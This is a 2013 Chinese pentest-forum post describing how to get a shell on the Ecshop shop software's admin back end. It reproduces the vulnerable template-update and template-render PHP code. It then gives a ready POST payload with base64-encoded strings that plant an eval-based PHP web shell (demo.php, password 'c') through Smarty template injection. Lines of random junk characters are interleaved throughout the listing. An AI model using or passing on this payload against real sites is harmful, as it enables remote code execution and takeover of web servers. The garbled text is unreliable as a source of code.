中国网络渗透测试联盟
标题:
Ecshop后台getshell
[打印本页]
作者:
admin
时间:
2013-1-11 21:33
标题:
Ecshop后台getshell
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
! H) d3 e& ^3 `& L) w$ I/ R
" }9 m, t% `% @. T: H6 Y
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
0 J1 T3 X/ H) V9 s( b+ v% N
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
+ W/ a" @* ]6 H/ x1 h. {
admin/template.php
7 v8 h" c( b- U" L. j& J
4 a; A; F, ]3 V1 d; G
1 if ($_REQUEST['act'] == 'update_library')
, L* D3 O# u4 l& {8 T
$ X5 R) e0 ?' p! G) W
2
0 h. N( H9 l/ C
9 K: d! _8 }& @
3 {
, k( ]7 @( l" M; a( m3 f/ B
3 ]' H& V5 C5 }; l( E3 N+ w+ E
4 check_authz_json('library_manage');
* f4 [: |& A( o2 K" E2 C
/ I, l: L$ K2 y2 \8 G0 x
5
U& E' c3 G7 `. H% z8 Y0 Z
2 g7 o( V/ G3 x+ `, R
6 $html = stripslashes(json_str_iconv($_POST['html']));
$ V! b* ^6 x c9 C0 s/ Q8 r
\5 D% d- z- Z) S* z" P) u
7
9 e+ m% j0 ?8 W; r- P
5 b1 x" E" L) H# y7 z4 A- g9 G3 z' p2 o* ~
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
+ I% C3 }$ A S4 [* Y
1 V0 C8 h! W6 V0 `% Y. E
9
0 z( i+ k) j$ b! o. t2 A
" ~3 t/ d+ Z3 g( @* ^! n! k$ ~
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
+ B% T8 @1 ^1 }, @( R; l
& h+ o+ U% J, P& U$ h7 x7 z7 E u
11
: `9 U |" b2 a2 ^) G4 Q! p
* g: D8 ?* i! }: ^6 Q* e9 p3 z
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
# ~& {+ I/ m g8 s6 k
. b2 r E6 s6 H) ?! W% p4 u: P n! L
13
/ s0 | [& s6 Q0 t8 V
' }6 o: V6 H' j$ p/ @* y: U
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
' ]8 Z8 }* z5 M/ T; M
( n8 R# f& c' G+ N- }
15 {
0 z6 `( m$ q7 d% v
9 D1 @# o1 }! ]* g
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
8 X/ {; X5 z" }0 _2 z( v/ }5 J
2 i4 T& m) [: m, d$ C
17 make_json_result('', $_LANG['update_lib_success']);
# y7 h1 c; r0 Y& Z7 d* Q- _, j
4 I7 ~# B' D0 d" m2 r* v
18 }
) P' v- u* g; {7 n7 ?
" X* B0 N) W7 Q g- d/ `; {9 x. u
19 else
* u/ J" Q0 |0 U8 e. M2 @ u
" T1 ~# r: b8 } Q+ G
20 {
+ f _0 l; p6 p0 v5 q% u! h
9 X' {* g) D* i7 c; ?
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
5 R2 `3 |& O, @7 c1 b/ S$ ^+ {
" i2 p( ?8 d5 d
22 }
8 m5 L: `+ V+ M: C5 H: D
; X/ X2 R7 o- w0 r$ \" M
23 }
% a+ R! a9 ^, F% V
" b# _2 M1 v: U/ s3 _5 K( f: S
那么找个比较方便调用了模板的文件
8 |* { C8 M8 E/ C, w. E
index.php
/ K% c1 a2 p0 p! e
' q, o6 t- d% g5 E' B' N
1 if ($act == 'cat_rec')
+ d) r* V- B$ G. ^+ |" |: f
) ]( H/ r2 ^ ]2 X# m1 @1 s6 x
2
: A- b8 n5 o/ N/ T& Z' J2 I ^9 |
$ ]: i6 J. q& ~
3 {
- V% V, K; v( m* V
! n: w4 E. T; r0 g: i3 t$ P6 U1 M0 r
4
3 _1 e* U: G1 N( n# T# I! n+ I
4 m u4 [3 q _# s h0 I- b
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
' L5 j4 w' O, A& d' M& M6 G' a
' J D! I' T3 }2 k
6
" U ~* B& q) I. e8 l0 t3 f+ X
, P( @5 {' L, P4 D
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
4 X$ q' b* E2 r% l6 t1 ?. p
- F; i( d) g1 z4 y# T
8
z, m6 J4 i7 @
) Q! Q7 c. X/ {9 n/ C4 Y! w6 t
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
; P! G1 V$ ?" A. |
- V( |) L2 K/ K5 y1 d, S# g, f8 ~
10
5 x4 o$ K) k. n
" _: q2 M5 U8 s1 L- [, Z3 j
11 include_once('includes/cls_json.php');
# L! P# s( O" m
2 \6 Y5 \6 b: V0 u) z+ `( r) |2 ~
12
3 [) F* g% ` a
1 k, d9 w1 n3 _
13 $json = new JSON;
) h" t( y( K4 v! U6 T# M
# S( t* y6 f. }* R8 u5 j0 ?
14
; ^9 B; @! I' h: q; `
T) ]# a2 g [0 \# O" @
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
& j1 m7 a' V, i
5 g2 ]9 i" D, ~
16
- U" _- j x' R- a& W: a4 o& J, d& R$ B
; \! f" B8 l, F8 m7 j N, _+ m& s
17 $children = get_children($cat_id);
y$ x8 \% H8 l; ^1 K3 c: p4 v! V2 P! R
* C9 M/ p! Y7 E* B9 @( z! V
18
" b" @. T( C1 w" M, V: d0 N
8 |% e1 Q3 G* T# \
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
/ H5 Z6 h" S6 y1 k( ~: O
& e6 n# y% Z" A- O% G9 U% O" u$ F
20
2 @8 G+ i" M8 z d0 I
% b2 A2 x1 [8 T6 \
21 $smarty->assign('cat_rec_sign', 1);
$ e5 J* N& f0 b; E5 c
' g1 }) b) n, A8 u
22
; L/ }$ p" O- r
: _# r) c% T4 |7 Y3 b
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
, b- ~: ^! S, D' ]) u6 u7 O4 K
; J( y6 H3 ]. O$ U- m0 f L2 r
24
* E2 {0 C. G( B3 }1 T, {
6 H. a- p6 G* ?
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
% R. _0 D9 T# M7 S& s
4 I- _# {1 e! l- x- E# ~* Y
26
( n9 X4 u1 p5 ]' B# V4 x$ m8 h
3 q A9 d4 w8 u; M H* C; D
27 echo $rec_array[$rec_type];
; n9 l+ f3 B# H; ]
8 N; t2 r: T! s: a
28
' s- F% K9 {1 r3 n( q
- P5 O# X" C3 l8 S( ^- x& [0 o
29 die($json->encode($result));
/ h7 ~/ @/ g* c0 Z1 |) E3 `0 n# `- u/ f
* M" w* v$ V; _9 i
30
* i2 m1 |! U9 R) d" x6 o3 o
7 n6 ^. ]0 o" [2 k. C
31 }
: Q: w4 _* s/ L7 G, q7 x( K" H6 T1 u
* X& \6 r! ~( N, ?9 Q. x
那么就有利用方法了
5 z2 a. `, B8 |! }- x) n
post包到http://localhost/ec/admin/template.php?act=update_library
9 x& W/ H f4 Q8 M
Post内容:
% | t0 x# A& \/ |& Q
t. h4 J* ^ _( F3 k% H
+ u+ r }! a7 o" u
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
0 w/ e) P8 E$ j8 Y& R0 U( K. A
8 {. U9 ^; J4 R' b
然后访问http://localhost/ec/index.php?act=cat_rec
5 [: e5 d* p8 {' R
, H9 j8 @+ O/ X6 c2 K4 Q5 l7 T
shel地址:http://localhost/ec/demo.php
7 `8 O/ J4 B7 T1 K- {
密码c
$ Y& Z. ~9 V# v1 E$ V5 P5 t: G8 J
K- B8 c: t% i. ^+ b
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2